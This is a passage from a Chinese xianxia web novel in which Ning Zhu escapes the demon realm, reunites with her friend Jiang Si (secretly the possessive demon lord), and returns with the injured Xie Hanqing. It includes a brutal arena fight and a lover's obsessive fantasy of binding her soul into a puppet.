面前再度浮现出无数缕纠缠的气体,谢寒卿一眼便看见了几缕鲜明的粉色丝线。 在浑浊黢黑之中沉浮,无比显眼。 少年动了。 谢寒卿刻意收敛神识,循着最鲜明的那一缕丝线,沿着无人的廊道朝着澜月阁走去。 澜月阁门口看守的侍卫悄无声息倒了下去。 少年如同一只矫健的猫,无声绕过他们的身体,来到了澜月阁门前。 谢寒卿透过阿七的眼睛看着这座华美的阁楼。 琼台碧阁,雕栏玉砌,是与整座魔宫都不一样的存在。 阿七推开了门。 帐幔飘舞,珠箔银屏,全然不似阶下囚该住的地方,倒像是……藏娇之处。 屋里无人。 却处处有她的气息。 谢寒卿操纵着阿七靠近那张悬挂着紫霄帐的拔步床。 阿七的瞳孔再度变红。 满屋缭绕的粉色丝线中,一缕浓重的黑色纠葛交缠,尤其是靠近床榻之处,黑色变得多了起来。 谢寒卿操纵着阿七,撷起一抹黑色。 阿七生着一张讨喜的圆脸,看上去人畜无害。 但此刻,他那双眼睛变得冰冷一片,如同冰冻三尺的深湖,浮沉着某些叫人看不分明的情绪。 阿七离开了澜月阁。 不久之后,一道鬼魅般的影子停在了魔宫主殿门口。 谢寒卿透过阿七的眼睛望着眼前的宫殿。 那抹熟悉的,黑得沉郁的气体中,飘浮着几丝浅淡的粉。 粉色气体如丝线,丝丝缕缕渗入主殿地底。 似乎有一条甬道,直直通往地底,而那里,如同流樱花的的淡粉色凝聚成团,浓郁得几乎成为实体。 主殿把守着侍卫无数。 谢寒卿却如入无人之境一般,踏过倒了满地的侍卫,直直闯入了主殿。 结界波动。 谢寒卿花了点力气,撕裂结界,沿着冰冷的地面一路走到后殿,震碎那张宽大华美的床榻。 面前露出了一条甬道。 黢黑,看不到底,仿佛直通深渊。 但是属于宁竹的那缕气息,却如同蛛丝蔓延而入。 谢寒卿操纵着阿七,面无表情踏了进去。 贪欢楼。 堂中修建了一个巨大的白玉池,旁边还散落着无数小池,池中碧色的水波荡漾,池边珍馐美馔堆叠无数。 池中女子玉臂柔软,环在男人肩上,也有三五女子同沐,摇曳着杯盏中猩红的液体。 宁竹耳边倏然响起丝竹管乐,欢声笑语,她缓缓从江似怀中抬头。 有女子娇笑着说:“是尊上呢!尊上带了人来?” 宁竹还来不及反应,便有数道目光落在她脸上。 活色生香的场面映入眼帘,赤裸着上半身的男修,红唇妖娆的女修都带着揶揄的笑看着她。 宁竹沉默了两秒,面具下的脸唰一下红透。 有女子捂着唇咯咯笑:“尊上原来喜欢这种类型?” 江似将宁竹圈在怀中,声音很是慵懒:“别来打扰我们。” 众人识趣,开始继续宴饮玩闹,仿佛真的看不到他们二人似的。 宁竹几乎整个人都缩在江似怀中。 江似意味深长问:“躲什么?这里难道还有人认识你?” 宁竹摇头。 正经修士谁会来这种地方啊,更何况她还跟在魔尊身边,耻感拉满。 江似不再说话,带着她上了二楼。 贪欢阁每一层都不一样,譬如这第二楼,便是一个比试场。 与正经比试不同,这里的比试场光线昏暗,两边设有高台,场上正有两个赤膊之人在你死我活争斗,高台之上众人振臂齐呼,像是个斗兽场。 正巧场上之人激烈扭打在一起,两人都发出嘶吼,眼眶血红,肌肉偾张,青筋几欲爆裂。 宁竹缩了缩脖子:“都是修士,为什么要用这种方式……” 江似:“场上有禁制,低阶修士的修为会被限制住,与凡人无异。” 他似乎在笑:“肉身相搏,如此才好看。” 变故便是在这一刻发生的。 其中一个人飞扑而上,死死咬住了另一个人的耳朵,如同野兽一般疯狂撕扯,竟是活生生地将对方的耳朵咬了下来! 对方倒在地上痛苦哀嚎,他趁机骑跨到对方身上,抬起粗壮的胳膊,一拳又一拳往下砸。 骨肉搏击的声音响荡四周,男人嘶吼着,手下不停,很快一片红白之物溅了满地。 宁竹闭上眼睛,脸色难看。 对手不再动弹,男人满头满脸都是血,他高举拳头,仰头欢呼。 四周观众也齐齐跟着欢呼,声浪如海。 宁竹感到了恶心。 她转身要走,忽然被人捉住手腕。 魔尊的身子似乎一直很冰凉,手指亦然,如同蛇一样缠在她腕上。 阴恻恻的声音响起:“别走。” 众人还在欢呼,密闭的空间,昏暗的光线,叫宁竹几乎无法呼吸。 她咬牙:“我呆不下去了。” 江似笑了下:“不见见老朋友么?” 宁竹一惊,愕然回头。 场上不知何时走出来一个身形清瘦的少年。 少年马尾高束,墨发中交杂着点点银丝。 活生生打死一个人的男人就站在他不远处。 少年的身影与之相较,纤薄如纸,他抬起黝黑的眼,直勾勾看向对方。 男人舔了下嘴角沾着的红白之物,拳如疾风,直直朝着他的脸打去! 宁竹惊呼出声:“江似!” 与此同时,魔宫。 阿七立在暗室之中。 银白色的水状物无声汩汩流动,莲花状的台座上,躺着一个少女。 少女未着寸缕,只有如烟似雾的银色水状雾缠绕在她身体之上。 冰肌玉骨,眉目沉静。 轻颤的手一点点平静下来。 谢寒卿透过阿七的瞳孔,一动不动盯着这具……傀儡。 傀儡。 不是宁竹,只是一具和她生得一模一样的傀儡。 少年的胸膛微微起伏了一下。 他的目光在这具傀儡身上寸寸描摹。 傀儡术乃是禁术,需要炼化肉身神魂来操控傀儡,无比邪恶,另外因其对研习者的观摩能力、复刻能力极为严苛,不易学成,早已失传多年。 谢寒卿没有奇怪于魔宫深处为什么会藏着一具宁竹的傀儡,他只是认真观察着这具几乎完美无缺的傀儡。 ……只要炼化神魂注入其中,便可成为活灵活现的宁竹。 带走它。 绝不能将它留在这里。 谢寒卿操纵着阿七往前走了一步。 带走它。 阿七抬起手。 指尖触上傀儡柔滑皮肤的那一刹,空气忽然波动起来。 铺天盖地的威压如同潮水翻涌过来! 阿七周身被一层无形之物包裹住,那一刹,整间暗室都在颤抖! 傀儡身下的莲花台座霎时崩裂为齑粉! 贪欢楼,江似瞳孔一缩。 电光石火间,他长臂一展将宁竹抱在怀中,霎时消失不见。 宁竹眼前还倒映着男人挥拳朝着江似脸上打去的画面,她喉头发紧,再次落地,却觉得天旋地转。 地面在颤抖,魔尊用结界将她包裹在其中,眼前飞沙走石,却无法伤到她分毫。 两道身影交缠在一起。 江似招招都带着愤怒,恨不能将对方置于死地。 而宁竹……彻底僵在了原地。 莲花台座崩裂,傀儡落在了地上。 银色水状物如同薄纱覆住她的身体,但那张脸…… 宁竹感觉到了恐惧。 那张脸,同她长得一模一样。 高手交锋不过是顷刻间。 谢寒卿操纵着阿七靠近宁竹,毁坏结界将她揽入怀中。 宁竹在发呆。 谢寒卿也来不及与她解释那么多,只抓住她的手:“我救你出去。” 谢寒卿带着宁竹消失的前一刹,江似冷声说:“宁竹,你不在乎江似的死活了么?” 宁竹僵硬了一刹。 他冷笑着说:“若是还想见他,便过来。” 然而谢寒卿没有给她机会。 他将人护在自己怀中,转瞬便消失在暗室。 宁竹杏眼微微睁大,错愕的表情消散在空气中。 暗室平静下来,四处狼藉不堪。 傀儡倒在地上,依然神情安静,垂眉敛目。 江似垂头在原地站了许久。 银发沾了灰尘,变得黯淡无光,面具也染上星星点点的血渍。 他忽然笑了下。 从胸腔里发出的声音,低沉喑哑。 江似缓缓蹲下身子,指尖轻抚傀儡的脸,眼瞳幽黑暗沉。 “你怎么就不乖呢。” 宁竹重重跌在地上。 痛得她浑身都快要散架了。 她顾不得疼痛,立刻从地上爬起来就要跑! 身后忽然有人道:“你们出来了。” 宁竹回头,竟看见一个意料之外的人。 无烬站起身,表情很平静,但眼眸中却隐隐有激动。 但更让宁竹惊讶的,是他身后之人。 阵法消退,一身白衣的小仙君呕出一口血来,昏在地上不省人事。 与此同时,阿七也昏迷在地。 宁竹惊骇不已:“方才是谢师兄?!” 无烬的沉默说明了一切。 宁竹已经来不及去想谢寒卿是怎么附身到这个少年身上的了。 她忙说:“这里不安全,你们快走!” 无烬掏出三枚千里遁地符:“他准备的。” 宁竹拿过来一枚,问:“可还有多余的?” 无烬递给她一个乾坤袋。 宁竹打开乾坤袋,发现里面放着一叠千里遁地符。 她信心爆棚:“你们先走一步,我马上出来!” “能帮我照顾好谢师兄吗?” 无烬摇头:“他说要把你一起带出去。” “我还要带一个很重要的朋友出去!你们先走,我立刻就来!” 无烬重复:“我答应他要带你出去。” 到底是在魔尊的地盘,宁竹不知道他会不会追上来,着急不已,只能先问关键:“千里遁地符设在何处?” “天玑山。” 宁竹一把抓住无烬,将那枚符箓往谢寒卿身上一拍:“那让他先回去!” 宁竹抓着无烬飞奔。 无烬的目光往下,落到他们交叠的衣袖上。 他张了张唇:“……是很重要的朋友吗?” 宁竹的声音飘散在风中:“是!我来魔域就是为了找他。” 无烬沉默了片刻,喃喃说:“他真幸运。” 宁竹拽着无烬一路狂奔到贪欢楼,直直往二楼冲。 可惜她到的时候,场上搏斗的人已经变成了别人。 宁竹拽住一个魔修问:“大哥,方才比试的人呢?上一场,就是打死了一个人的那位!” “他今天已经连胜三场了,自然是离开了。” 宁竹心脏一滞:“连胜三场?” 她声音都颤抖起来:“最后那个少年呢?就是身形很瘦,头发黑中夹杂着银色的那个!” 魔修嗤笑:“上场就被打飞了,被人拖下去了。” 无烬递给她的乾坤袋约摸是谢寒卿的。 宁竹从里面摸出一枚高阶丹药塞到魔修手中:“大哥可否告诉我,若是我要找这些打手,需要联系谁?” 魔修得了好处,也乐意给她指路:“那儿,沿着那边的台阶下去,是报名处,有管事。” 宁竹拽着无烬匆匆离开了。 管事是个五大三粗的壮汉,一只脚翘在桌案上,闭眼假寐。 宁竹喊醒他:“大哥!” 壮汉撩起眼皮,懒洋洋说:“比武场不接修士。” 他的目光扫过无烬,皮笑肉不笑:“旁边这个堕修可以。” “我们不是来报名的,是来找人。” “大哥,请问这里有没有一个叫江似的人?” 宁竹熟练地将一瓶疗伤药推过去。 壮汉睨了一眼,不动声色将药瓶收下,翻出一本厚厚的簿子。 他一目十行,很快翻完,将簿子扔在桌上:“没有。” 宁竹蹙眉:“怎么会没有,我上一场还看见他。” 她猜测会不会是江似换了名字,于是说:“就是不久前那场比试,我要找的人是个十七八岁的少年,生得很好看,他的头发不同于常人,黑发中夹杂着一些银发,很好认的……” 壮汉重重瞪了一脚桌子,不耐烦道:“说了没有就是没有。” 宁竹还要说话,一道柔媚的女声打断她:“啸哥消消气,小姑娘找人着急也正常。” 竟是方才泡在一楼池子里和魔尊打招呼的女人。 宁竹抓着无烬,险些就要拍碎千里遁地符。 魔尊能破坏阵法,总不至于随便一个魔修都可以吧! 这可是价值连城的千里遁地符! 女子觉察到她的紧张,笑盈盈说:“妹妹要找什么人?看看我可帮得上忙?” “哦,我是贪欢楼的楼主,你叫我炽蝶就好。” 宁竹没有松开千里遁地符,小心问:“您这里有没有一个叫江似的人?” 炽蝶回忆了下,对她说:“贪欢楼上下有数千人,我得查一查名册,跟我来吧。” 宁竹犹豫片刻,远远跟在她身后。 无烬亦步亦趋,眼神空洞,仿佛全然不在意要去哪。 宁竹只好将他拽紧了一点。 与此同时,一只血红的蝴蝶蹁跹飞入魔宫,在主殿外徘徊。 曲亦卓抬起头:“炽蝶?找尊上何事?” 他方才听到动静匆匆赶来,但魔尊不许旁人进入主殿,他只好候在外面。 炽蝶的声音响起:“魔尊方才带来贪欢楼的少女,自己一个人前来了,说要找人。” 曲亦卓正要开口,殿门忽然被打开了。 江似几乎是瞬移到他面前:“确定是她?” 炽蝶:“是,她还带着一个面覆黑布的少年……” 江似瞳孔一缩,巨大的妒火噬烧而上,让他声音都变得有些尖利:“是么?” 那该死的堕修,竟然又回来了。 是为了宁竹吗? 谢寒卿呢?为了护一个无关之人,神魂被他打伤的滋味不好受吧? 既然带走了宁竹,又为何要放她回来? ……废物。 江似神情阴沉,倏然消失。 炽蝶将宁竹和无烬带到一间雅致的房间中。 屋子里放着许多灵植,郁郁葱葱,开得正盛。 满屋都是植物清新好闻的气息,不知不觉能让人放松下来。 有翩翩飞舞的蝴蝶落在花草上。 炽蝶甚至还给他们上了茶点。 当然宁竹不敢动。 炽蝶也不在意,自顾自地端起一只粉釉茶盏,呷了一口茶,翻看着手中名册。 周围很安静,宁竹始终没松开千里遁地符。 炽蝶忽然开口了:“要找的是你朋友吗?” 宁竹点头。 一只蝴蝶翩翩落在炽蝶肩上。 炽蝶唇角的笑意扩大了几分,她说:“啊,找到了,的确是有一个叫江似的人……” 宁竹猛地起身:“楼主,他现在在何处?” 炽蝶抬起指尖,接住蝴蝶,无声倾听着魔尊的交代。 她眨了下眼:“你这位朋友……现在状态可不太好哦。” 第49章 攀云峰。 流云聚散, 霜花如雪,墨竹摇晃不休,如同涛声起伏。 姜思无收起飞剑,踏入竹林。 到底是表兄弟, 那日离开无咎洞府后, 他细细回想, 总觉得谢寒卿的表现很古怪。 他这个表弟, 自小喜怒不形于色, 鲜少见到这般情绪外泄的时候。 姜思无处理完事情后, 到底是觉得不放心, 于是不请自来。 沿着竹林中的小径走了一段,姜思无正盘算着该如何从谢寒卿嘴里套话, 脚步倏地一滞。 白衣小仙君胸前沾染了星星点点的血痕,倒在无咎洞府门前, 不省人事。 姜思无疾步走过去:“寒卿!” 他捉住谢寒卿的手腕, 眉心拧起,怎会神魂不稳? 姜思无也顾不得其他,扶起他来,就地打坐, 将灵力灌入谢寒卿体内,为他稳固神魂。 另一边,宁竹和无烬跟着炽蝶匆匆离开了房间。 她心神不宁,没注意到一只蝴蝶一直停留在炽蝶发上。 炽蝶带着他们一路往下,来到一个半地下空间。 这里做了许多小隔间, 门扉紧掩,阴暗逼仄。 他们停在最靠里的一间门前。 炽蝶眨眼:“你朋友就在里面。” 宁竹的心脏砰砰跳动起来。 她手拉住门环,轻轻叩了一下。 安静了许久, 门内传来一道喑哑的声音:“谁。” 宁竹喉头霎时像被棉花堵住。 她张了张唇:“江似,是我,宁竹。” 无人回应。 仿佛屋子里根本没有人。 宁竹又说:“是我,我来找你。” 天光稀疏,千丝万缕落下,光里有灰尘飞舞。 江似站在窗边,银发如瀑,眼瞳黑得几乎泛起猩红,如同狩猎的野兽,紧紧盯着门口。 他的神情几乎有些扭曲。 有不甘,有怨愤,也有隐隐的期待。 体内力量在暴动,血液在沸腾。 身体的每一寸都在叫嚣着,等她进来,就把她炼化到傀儡中。 这样他们才能骨血相连。 这样她才能完完整整属于他。 可当门扉被人推开的那一瞬,江似瞳孔一缩,顷刻之间,银发化为黑发,鎏银面具消散。 宁竹看到的,便是江似惶然不安立在窗边,马尾焉巴巴垂在肩头的模样。 两人四目相对。 江似的眸光太复杂,复杂到她读不懂他的眼神。 但没关系。 宁竹张开双臂,直直撞入他怀中,想说的话全部堵在喉头,眼泪却先掉了下来。 江似的表情变得一片空白。 也许过了一秒,也许过了几分钟。 他抬了下手,生涩的,缓慢的想要回抱她,指尖还未触上她的背脊,宁竹却已经放开了他。 她往后退了一步,有点尴尬地抬袖抹掉眼泪,语无伦次:“那个,我……有点激动。” 炽蝶已经聪明地离开了。 无烬却直愣愣站在门口,眼神空洞看着他们。 江似咬了下牙,挥手让门重重合上,将宁竹一把拽过来:“为什么要回来。” 宁竹眼眶通红,鼻尖也通红,像被人欺负狠了。 她抓住江似的袖子:“这里不是说话的地方,我带你走!” 江似看见了她掌心一直藏着的千里遁地符。 强忍住将那张符箓撕得粉碎的冲动,江似垂眸问:“宁竹,为什么要回来。” 宁竹也知道他的性子,知道若是不把话说清楚,他不会轻易跟自己走。 毕竟那么长时间了,他还活着,却都没想过找她。 宁竹飞快说:“刚刚在比武场你看见我了对不对?我跟你说,我旁边那个人就是魔尊,我是当着他的面消失的,说不一定他什么时候就会追过来。” “我来魔域就是来找你的!” 宁竹见江似一副不为所动的模样,也着急了:“不管这段时间发生了什么,我们先离开这里……” “宁竹。”江似忽然唤她。 少年脸色苍白如纸,整个人似乎消瘦得更厉害了。 他抬起眼眸,仿佛漫不经心般说:“我的魂灯已经灭了吧。” 他带着嘲讽的笑意说:“既然如此,我还怎么回去?” 宁竹沉默了片刻。 江似观察着她的表情,一丝一毫都不肯放过。 可是……没有厌恶,没有迟疑,她只是认真地盯着他:“你在魔域过得快乐么。” 这一次变成江似陷入沉默。 宁竹似乎早早筹措好了这番话,她语气平和,仿佛只是在询问他今天想要吃什么。 “江似,其实来找你之前我也在纠结。” 她笑了下:“你有很特别的地方,我时常会想,如果你活了下来,你在魔域会不会过得比在修真界自在。” “但……”她认真地盯住他的眼睛:“这几个月,你过得定是不自在的。” “如果对现状满意,你一定会去联系我的。” “囿于困境时,人才会下意识逃避过往的一切。” “江似……这些时日,你过得不好吧?” 她有点紧张:“是魔尊发现了你的特别,让你为他做事吗?” “那你为什么还会在这个地方参加那么凶残的比试?” “你的手和腿……是怎么好的?难道是魔尊同你交换了那个能力?” 早在陈野告诉她,自己弟弟身上的魔气是被魔尊消除时,她就联想到江似了。 “灵石不够用吗?为什么要住在这种……” 江似忽然将她揽入了怀中。 少年背脊很单薄,但怀抱很暖。 他将头埋在她脖颈处,呼吸很重。 宁竹觉察到,他在轻轻颤抖。 她什么也没说,只是轻轻回抱他,柔声说:“没事的,我现在有钱了,我知道你回不去天玑山,但我在幽冥集市附近买下来一个小宅院,幽冥集市鱼龙混杂,从前就有很多妖族混迹其中,现在也有很多魔族……” “如果你愿意,可以在那里生活,只要小心一些,不会有人发现的。” 宁竹其实还想说,哪怕在修真界躲躲藏藏,说不定也会比在魔域自由。 但她来到魔域之后,发现这里和想象中是不一样的。 江似已经是魔修了,离开魔域回到修真界,就真的一定会更好吗? 江似终于抬起头来。 他放开她,表情是宁竹从未见过的认真。 “宁竹,修真界马上就要大乱了,呆在魔域,我能护住你。” 他的表情很严肃,不似作伪。 宁竹当然知道修真界马上就要大乱,但……她还有事情要做。 宁竹笑着说:“你忘啦,我还要去归墟的。” 江似眉头蹙起。 炎陵庄任务发布的时候,他曾以积分为诱惑让她同他一起去做任务。 当时他要去归墟……不过是为了找到神鸟,询问该怎么拔出他体内的锁魂钉。 只是世事难料,锁魂钉已经被彻底拔除,他如今已经不需要去归墟了。 “宁竹,你到底要问神鸟什么?告诉我,我帮你。” 少女的眉眼变得很温和,她似乎在笑,但笑容间却又含着惆怅。 江似从未在她脸上看见过这样的表情。 分明她人就在眼前,但那一刹,江似却觉得她离他好远。 仿佛隔着千山万重,和……别的一些什么东西。 不知道是出于恐慌,还是别的,江似一把抓住她的胳膊:“告诉我,不管用什么代价,我一定能帮你。” 宁竹忽然抬手,像对小孩子一样摸了摸他的头发:“这个问题只有神鸟能回答,或许……神鸟都没办法回答。” “无论如何,我都得去归墟一趟的。” ……她要回家。 她要从一本书里的世界离开,回家。 家里还有垂垂老矣的爷爷在等她。 宁竹回过神来:“江似,我们已经耽搁很久了。” “所以你现在是什么想法?” “没关系的,留在这里也很好,只是你有时间的时候,能联系我吗?” “……我会去修真界。”江似忽然开口。 宁竹眼眸倏然亮起来。 江似:“但不是现在,宁竹,给我一个月时间。” 他抬头看她,眼眸幽深黑沉:“我会去幽冥集市找你。” 宁竹弯起眉眼笑:“好呀。” 时间不多了,宁竹抓紧把自己想问的问出来:“你在这里有听到曲亦卓的消息吗?” 江似想也没想,直接反驳:“没有。” 那样的人,当他死了就是。 宁竹有点怅然。 但世事难料,他们这种原著中从未提过的炮灰,悄无声息死掉也不会有人知道。 江似觉察到宁竹低落的情绪,沉默片刻,道: “我会帮你留心他的下落。” 出乎意料的是,宁竹摇头:“好好照顾你自己。” 她低下头,从谢寒卿的乾坤袋中取出一些灵石灵丹,递给他:“这些你拿着。” 她带到魔域中的那只乾坤袋被魔尊拿走了,好在她大部分身家都还在洞府中放着。 先用谢师兄的东西应急,回去她再补上就好。 江似看着面前的灵丹灵石。 宁竹的乾坤袋被他拿走了,那这些…… 江似忽然像是被踩了尾巴的猫,弓起背露出獠牙:“我不要。” 宁竹叹气:“我们是朋友,何必要那么见外。” 她抬头看了四周一圈,用暗示的眼神看着他:“拿着吧,将来你赚了灵石再还我便是。” 江似冷笑着将一个乾坤袋扔到她面前。 宁竹:? 江似咬牙:“打开看啊!” 宁竹拿起那只墨色乾坤袋,打开一看,霎时目瞪口呆。 ……那,那么多灵石!!金灿灿的光几乎晃花她的眼睛! 江似本就打算把这笔灵石给她,但又担心她拿着灵石想方设法逃出魔宫,所以一直搁置了。 他绷着脸,居高临下睨了谢寒卿的东西一眼:“谁稀罕这些。” 宁竹想不通:“你既然有那么多钱,为什么还要参加这种危险的比试……” 宁竹的眼神变了味。 难道这些都是他辛辛苦苦打来的灵石? 江似蜷起手指叩了下她的额头,抱着手抬着下巴:“都拿走。” 宁竹还要说什么,江似凶巴巴说:“再不走要等着魔尊来抓你吗?” 江似背过脸,唇抿得很紧。 宁竹眉眼微弯:“江似,那我走啦。” “一个月后在幽冥集市见。” 少年忽然抓过她的手来。 袖袍堆叠,露出纤细的皓腕,和上面松松悬着的银链。 江似意味不明地哼笑一声:“还戴着。” 宁竹抿唇:“又取不下来。” 少年抓住她手腕的力度猛然变大,掐得她几乎有些吃痛。 江似黝黑的眼盯着她:“不许取下来。” 他抬掌,覆盖住银链,眼瞳变得愈发黑沉。 链子很快发生了变化。 宁竹惊奇地看着银色的光在链子上游走,普普通通的银链变成了一条首尾相衔的银蛇。 蛇眼像是两枚精致小巧的黑曜石。 江似松开她的手腕,满意微笑:“好了。” 宁竹晃了晃手腕。 拘银链变成了一条漂亮的手链,那就当手链带着好了,宁竹不甚在意:“那我真的走了?” 她起身,推开门,对无烬说:“我们走吧。” 无烬立在门外,闻言抬起头来,木讷地点点头。 江似神出鬼没从背后冒出来:“他是谁?为什么要跟你一起回去?” 说起来宁竹还不知道他叫什么名字呢,也不知道他为什么会再次出现在魔域。 无烬仿佛明白宁竹的困惑,他上前一步:“无烬,来救你出去。” 没有给任何人反应的时间,他朝宁竹掷出千里遁地符。 自己也跟着捏碎一张符箓。 江似眼睁睁看着宁竹面色愕然消失在眼前,下意识就要抬手去撕破阵法。 但伸出指尖,又生生忍住。 ……他无法贸然前往修真界,会被高阶修士识破。 但他可以炼制一具傀儡,将神识附着于其上。 若是速度快些,二十日就可以完成。 江似胸膛深深起伏了下,折回房间。 她没取走灵石,反而将谢寒卿的东西留下了。 江似抬手一挥,属于谢寒卿的那部分东西霎时化为齑粉。 他眼神阴翳,盯着空气中浮动的灰尘。 没想到谢寒卿竟也有为一个人只身冒险的时候。 实在是可笑。 宁竹腰侧暧昧的痕迹再度浮现在眼前。 江似表情几乎有些扭曲,但很快,他又放松下来,唇角勾起一丝笑。 那又如何? 宁竹还是来找他了。 江似转瞬出现在魔宫地底。 方才与谢寒卿交手,此地一片狼藉。 宁竹的傀儡了无生气倒在地上,眉目微阖。 江似慢悠悠坐到了地上,垂眸看着宁竹的傀儡。 按照少女一比一复刻的傀儡,精美,苍白。 只要炼化肉身,移接灵魂,她便能留在自己身边,永生永世。 可是…… “你在魔域过得快乐么。” 宁竹的声音在耳边回响。 宁竹,你来到魔域,会快乐么? 江似伸出手,轻轻抚了下傀儡的发。 可惜它只是一具傀儡。 不会回答。 *** 千里遁地符的落地点设在谢寒卿的攀云峰。 宁竹才落地,抓着无烬便跑。 无烬到底是堕修,宁竹不敢带着他在天玑山久留,打算拉着人御剑飞往她在幽冥集市置办的宅子。 与此同时,无咎洞府。 谢寒卿似乎感应到什么,忽然睁开眼。 他一掌推开姜思无! 稳固神魂之时忽然断开连接乃是大忌,两人齐齐咳出一口血! 谢寒卿踉跄起身,摇摇晃晃踏上寒卿剑。 姜思无不敢置信:“寒卿!你在做什么!” 谢寒卿却已化作一道剑影离开。 姜思无暗骂一句,忙飞身上剑跟着他离开。 谢寒卿眼前重影一片,连绵青山如同青蛇蜿蜒抖动。 他口鼻中尽是血腥味,眼白爬满血丝,小仙君眉眼依然清冷,只是偶尔能窥见其间的一丝疯癫。 整个人便如同阳光炙烤下,将要融化的雪。 但他却偏执地追着一个方向,用最快的速度追去。 宁竹的声音从前方模模糊糊传来:“这宅子是我为一个朋友准备的,他现在还不能过来,到了之后你便安心地住在那里。” 无烬的声音很轻:“是魔域那个朋友吗?” “是他。” “你放心,宅子够大,他来了之后也可以各住一处……” “好。”无烬答应了。 宁竹似乎松了一口气,语气都变得轻快:“你先住进去,里面基本的起居用品都有,有什么事情就给我传音……” 有人拦在了他们面前。 宁竹愕然抬头。 谢寒卿站在飞剑下,静静看着她。 宁竹发髻蓬乱,簪发的珠钗也歪了,足以推测出她这一路是如何仓促匆忙。 无烬空洞的眼落到谢寒卿身上。 谢寒卿眼里仿佛已经没有旁人。 小仙君剔透的眼瞳中倒映着宁竹的身影,嗓音沙哑:“你回来了。” 宁竹终于回过神来,她手足无措:“谢,谢师兄,你醒了?” 她有点尴尬:“刚刚在魔域……情况紧急,所以我先把你送回来了。” “你伤得重吗?要不要现在去太素阁找长老们看一看吧?” 宁竹絮絮叨叨说了许多,谢寒卿只是定定看着她。 玉质冰肌的小仙君,唇色淡得像一抹水痕,鸦羽长睫微敛,整个人透出一种全然不似此间人的疏离冷淡。 不知为何,宁竹想起了他幼时跪在谢凌风阶前的那一幕。 旁人无法轻易窥探他的情绪,所以他是喜是悲,是怒是乐,从来只有自己知道。 愧疚几乎要把宁竹淹没。 她眼睛都不知道往哪里看了。 不管为什么谢寒卿会出现在魔域,但她都是托了他的福,才能从魔尊手下逃出来的。 结果自己竟然把人单独抛下…… “谢……” “宁竹。” 两人同时开口。 谢寒卿上前一步 ,对宁竹说:“我们回去吧。” 他甚至微微抬起了手。 小仙君的指尖都透着苍白。 宁竹避开他的手,只是说:“谢师兄,我还要先送一下无烬……” 谢寒卿踏在飞剑上,姿势都没变,脸色似乎变得更加苍白了。 宁竹再度觉得自己罪大恶极。 他一看就状态极差,她怎么非要在这个时候拒绝他。 宁竹犹豫片刻,只好说:“无烬,我让流烟剑先送你过去,我和谢师兄得去一趟太素阁。” 话音落,谢寒卿便伸手,将她拉上了怀卿剑。 他的手很凉,踏上飞剑的时候,宁竹甚至闻见一点淡淡的血腥味。 宁竹蹙了下眉,布好防风结界,回头对无烬点点头,朝太素阁飞去。 无烬看着他们二人化作小黑点,才垂眸对流烟剑说:“走吧。” 谢寒卿,江似,好像都是她很重要的人呢。 两人共御一剑,因为贴得很近,呼吸几乎交缠在一起。 流云撞上防风结界,无声散开,变成数缕缥缈雾气缭绕在他们周围。 谢寒卿袖袍间的冷香似有若无缭绕在鼻尖,清寒如雪。 宁竹脑子里一片浆糊。 她还没想好该怎么和谢寒卿相处。 那一晚的事太荒唐。 只是……此事到底是因她而起。 如果她没有乱出主意寻来噬魇兽脊液,也不会发生这样的事。 万幸没有到最后一步。 若是谢寒卿真的失了元阳……宁竹打了个寒战。 是的,修真界这一点极为不好。 元阳若失,高阶修士是能看出来的。 白家姜家对谢寒卿虎视眈眈的状态下,他一直到飞升,都还是个纯情处男。 宁竹思索片刻,还是决定将话挑明。 虽然留了信,但也不知道他看没看见。 “谢师兄。”宁竹喉头有点干涩。 “那天晚上的事情……很抱歉。” “此事你我就当做没发生过,我绝对不会向第三个人泄露的。” 身后之人没有回应。 宁竹抬起手:“你放心,我在这里发誓,若是将此事泄露,必叫我神魂俱灭,永世不得轮回。” 这是很重的誓言。 谢寒卿没有开口阻止她。 宁竹稍稍松了一口气:“那就当这个事情过去了?” “我们之后还是师兄妹。” 她说了很多,谢寒卿并无回应。 宁竹有点奇怪,回头看他。 这一看,却是魂飞魄散,险些栽下剑! 谢寒卿微微垂着头,容色苍白,唇边溢出的血已经将胸前白衣洇湿了一大片。 飞剑剧烈抖动,宁竹抓住谢寒卿:“谢师兄?谢师兄!!”—— 作者有话说:小江毕竟是原著反派,转变会一点点进行,众所周知追妻火葬场都是自个作出来的[狗头]虐男不虐女,没人伤得到妹宝,女主亲妈拍胸脯保证 第50章 “宁竹!”忽有一道声音响起。 宁竹慌乱间分神看去, 姜思无御剑飞来,在看到谢寒卿后,他面色大变:“寒卿怎么了?” 宁竹扶着谢寒卿:“姜师兄,我们去太素阁!” 姜思无靠近他们, 抓住谢寒卿的手腕, 他瞳孔一缩, 当机立断道:“直接回无咎洞府!” 一个时辰后。 攀云峰冷松如涛, 云雾成海, 无咎洞府堂前的墨竹林, 宁竹反复踱步, 手心都是冷汗。 两人进屋之后,一直没有出来。 方才有人给姜师兄送来一个盒子, 姜师兄取走盒子后,面色凝重关上了屋门。 谢寒卿究竟是怎么了? 宁竹想到他面色惨白, 衣襟染血的样子, 就止不住地恐慌。 宁竹不住地安慰自己,他可是原著男主,不会有事的…… 屋子里,姜思无全然不似昔日一副半梦半醒的轻狂模样, 脸色是前所未有的严肃。 以寒卿的天资,这点伤不应伤他至此,叫他神魂如此不稳固……甚至隐隐有魂魄离体的倾向。 他打开方才送来的盒子。 一枚铜黄色的古镜静静躺在其中,镜面模糊一片,像是被雾气笼罩。 窥神镜, 可以查探神魂,乃是修真界至宝,需由化神期修士取出心头血涂抹镜面, 才能启动。 启动之后,镜子里会映照出人的神魂,乃是检验对方有没有被夺舍的利器。 窥神镜稀有,如今也就只有三大世家和天玑山有。 姜思无不敢惊动清虚真人,特地召人从姜家送来此物。 姜思无挥袖,窥神镜一点点变大,最后变成半人高,立在谢寒卿床榻前。 姜思无逼动灵力游走,指尖冒出一滴殷红的血。 血珠飞溅而出,融入铜黄色的镜面,雾气微微波动。 窥神镜映照出谢寒卿的神魂,强大而纯净,与他别无二般,并且并无浊物附着其上。 姜思无稍稍松了一口气,正打算关闭窥神镜,神情忽然一凝。 神魂形态越实、色泽越亮,便说明越强大,据说修真界曾有一位渡劫期大神,神魂已成实体,放出神魂时旁人甚至分不清神魂和本体。 谢寒卿的神魂散发着几乎有些耀目的白色莹光。 唯独心脏处…… 姜思无仔细观察,倏然面色一变。 谢寒卿神魂的心脏处,是空的。 流转的莹光遮掩住此处,竟是险些骗过姜思无! 窥神镜忽地发出清脆的响。 镜面四分五裂,碎了一地。 姜思无愕然回头。 见谢寒卿半起身,咳出一口乌黑的血。 “寒卿!” 